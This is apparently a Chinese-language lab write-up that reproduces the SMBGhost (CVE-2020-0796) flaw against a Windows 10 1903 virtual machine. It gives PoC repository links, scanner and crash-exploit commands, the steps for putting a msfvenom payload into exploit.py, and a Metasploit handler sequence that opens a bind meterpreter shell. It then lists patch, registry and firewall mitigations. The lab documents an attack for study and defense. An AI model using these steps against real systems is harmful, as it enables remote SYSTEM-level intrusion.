实验环境:

  靶机:windows10 1903 专业版

   攻击机:kali 2020.3

   VMware:vmware14

实验工具:

  Python 3.8.5

    msfconsole

实验PROC:

  靶机镜像:ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/

    检测漏洞poc:https://github.com/ollypwn/SMBGhost

    蓝屏proc:https://github.com/chompie1337/SMBGhost_RCE_PoC

实验前提:

  靶机关闭防火墙

  靶机安装完毕后注意创建快照

  pip安装netaddr模块

漏洞介绍:(内容来自腾讯安全 https://s.tencent.com/research/bsafe/912.html)

  该漏洞是Windows10在处理SMB 3.1.1协议的压缩消息时,对头部数据没有做任何安全检查,直接使用,从而引发内存破坏漏洞,达到任意命令执行。

漏洞目标:(内容来自腾讯安全 https://s.tencent.com/research/bsafe/912.html)

  漏洞主要攻击端口为445,但也会有其他触发方式如,构造恶意的SMB服务器并通过网页、压缩包、共享目录、OFFICE文档等多种方式传递给目标用户

当用户打开恶意文件,无需开启445端口就可以触发漏洞

漏洞影响:(内容来自腾讯安全 https://guanjia.qq.com/avast/984/index.html)

  通过此漏洞获取到的权限为系统最高权限

  不影响win7,影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
  Windows 10 Version 1903 for 32-bit Systems
  Windows 10 Version 1903 for x64-based Systems
  Windows 10 Version 1903 for ARM64-based Systems
  Windows Server, Version 1903 (Server Core installation)
  Windows 10 Version 1909 for 32-bit Systems
  Windows 10 Version 1909 for x64-based Systems
  Windows 10 Version 1909 for ARM64-based Systems
  Windows Server, Version 1909 (Server Core installation)

漏洞复现:

  首先判断是否存在漏洞

  

  打开SMBGhost,利用scanner.py检测是否存在漏洞

  CMD输入命令 python.exe scanner.py 192.168.1.140

  

  出现 Vulnerable 则表示成功

  打开SMBGhost_RCE_PoC文件夹通过exploit.py文件进行蓝屏攻击

  

  输入命令 python.exe exploit.py -ip [IP]

  出现以下回显表示攻击成功

   

  如果没有成功可以进行多次尝试

  多次失败可以尝试恢复快照

  

  接着返回虚拟机发现已经蓝屏

  

  靶机恢复快照

  获取shell攻击

  尝试使用exp反弹shell,打开kali虚拟机

  通过msfvenom命令生成payload

  

  执行完毕后会在当前工作目录下生成exploit文件

  通过cat查看文件可以看到里面是定义了一个名为buf的变量并把payload赋值给buf

  

  打开github下载的PROC文件夹

  并把exploit.py文件里面USER_PAYLOAD的值替换为buf值

  kali进入msf输入命令

  注意: lport 要和msfvenom生成的payload保持一致

  use exploit/multi/handler
  set payload windows/x64/meterpreter/bind_tcp
  set lport 8888
  set rhost 192.168.1.140
  run

  启动监听,并等待再次攻击

  之后再次运行替换过buf的exploit

  如果不成功可以多次尝试或恢复快照

  

  运行成功后返回kali

  可以看到攻击成功

  

防御手段: (参考 https://www.cnblogs.com/kbhome/p/13073746.html)

  打补丁:

    https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0796 (windows官方补丁)

  禁用SMBv3压缩:

    禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
    使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
    Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
    用户可通过以下PowerShell命令撤销禁用压缩功能
    Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force
    注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

  设置防火墙策略关闭相关端口:

    SMB的TCP 445端口
    NetBIOS名称解析的UDP 137端口
    NetBIOS数据图服务的UDP 138端口
    NetBIOS会话服务的TCP 139端口

  通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务:

    http://www.piis.cn/news/new1614.asp

 

总结:

  这次实验参考的比较多

  https://blog.csdn.net/weixin_45006525/article/details/106553519 (主要攻击手段参考

  https://guanjia.qq.com/avast/984/index.html         (漏洞版本参考

  https://s.tencent.com/research/bsafe/912.html        (漏洞基本消息参考

  https://www.cnblogs.com/kbhome/p/13073746.html       (防御手段参考

  攻击整体思路,通过445端口进行攻击,利用proc和msf攻击靶机并反弹shell,kali监听反弹的shell(注意反弹监听的shell要一致)

[永恒之黑]CVE-2020-0796(漏洞复现)的更多相关文章

  1. 永恒之蓝(MS17-010)漏洞复现

    1. 漏洞介绍 永恒之蓝: 恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含"永恒之蓝"工具,"永恒之 ...

  2. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  3. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  4. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  5. CVE-2020-0796“永恒之黑”漏洞复现

    0x00 漏洞概述 Microsoft Server Message Block 3.1.1(SMBv3)协议在处理某些请求的方式中存在代码执行漏洞.攻击者可以精心构造数据包发送到SMB服务器,无需经 ...

  6. CVE-2020-0796(永恒之黑)漏洞复现

    声明:仅供学习与参考,请勿用于非法用途(后果自负) 一.影响范围(需关闭 Win10 防火墙): Windows 10 Version 1903 for 32-bit Systems Windows ...

  7. 【研究】ms17-010永恒之蓝漏洞复现

    1       永恒之蓝漏洞复现(ms17-010) 1.1     漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放44 ...

  8. EternalBlue永恒之蓝漏洞复现

    EternalBlue漏洞复现 1.    实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010.该漏洞利用工具由一个名为”影子经济人”( ...

  9. 永恒之蓝MS17-010漏洞复现

    永恒之蓝MS17-010漏洞复现 1.漏洞描述: 起因: 永恒之蓝(Eternalblue)是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包 ...

随机推荐

  1. react高阶组件的一些运用

    今天学习了react高阶组件,刚接触react学习起来还是比较困难,和大家分享一下今天学习的知识吧,另外缺少的地方欢迎补充哈哈 高阶组件(Higher Order Components,简称:HOC) ...

  2. JZOJ 11.21 提高B组反思

    JZOJ 11.21 提高B组反思 T1 第二类斯特林数 直接套公式 \(S(i,j)=S(i-1,j-1)+S(i-1,j)*j\) 由于过大,\(unsigned\ long\ long\)都存不 ...

  3. 国产开源数据库:腾讯云TBase在分布式HTAP领域的探索与实践

    ​导语 | TBase 是腾讯TEG数据平台团队在开源 PostgreSQL 的基础上研发的企业级分布式 HTAP 数据库系统,可在同一数据库集群中同时为客户提供强一致高并发的分布式在线事务能力以及高 ...

  4. 第3.5节 丰富的Python字典操作

    一. 基本概念 Python提供一种通过名称来访问其各个值的数据结构,这种数据结构称为映射(mapping).字典(dict)是Python中唯一的内置映射类型,其中的值不按顺序排列,而是存储在键下, ...

  5. 第13.4 使用pip安装和卸载扩展模块

    一.pip指令介绍 Python 使用pip来管理扩展模块,包括安装和卸载,具体指令包括: pip install xx: 安装xx模块 pip list: 列出已安装的模块 pip install ...

  6. C++编程指南(6-7)

    六.函数设计 函数是C++/C程序的基本功能单元,其重要性不言而喻.函数设计的细微缺点很容易导致该函数被错用,所以光使函数的功能正确是不够的.本章重点论述函数的接口设计和内部实现的一些规则. 函数接口 ...

  7. 小心使用 Task.Run 续篇

    关于前两天发布的文章:为什么要小心使用 Task.Run,对文中演示的示例到底会不会导致内存泄露,给很多人带来了疑惑.这点我必须向大家道歉,是我对导致内存泄漏的原因没描述和解释清楚,也没用实际的示例证 ...

  8. NET CORE通过NodeService调用js

    在 .NET Framework 时,我们可以通过V8.NET等组件来运行 JavaScript,不过目前我看了好几个开源组件包括V8.NET都还不支持 .NET Core ,我们如何在 .NET C ...

  9. Scrum 冲刺 第四篇

    Scrum 冲刺 第四篇 每日会议照片 昨天已完成工作 队员 昨日完成任务 黄梓浩 初步完成app项目架构搭建 黄清山 完成部分个人界面模块数据库的接口 邓富荣 完成部分后台首页模块数据库的接口 钟俊 ...

  10. 第二篇 Scrum 冲刺博客

    一.站立式会议 1. 会议照片 2. 工作汇报 成员名称 昨日(23日)完成的工作 今天(24日)计划完成的工作 工作中遇到的困难 陈锐基 - 完成个人资料编辑功能- 对接获取表白动态的接口数据并渲染 ...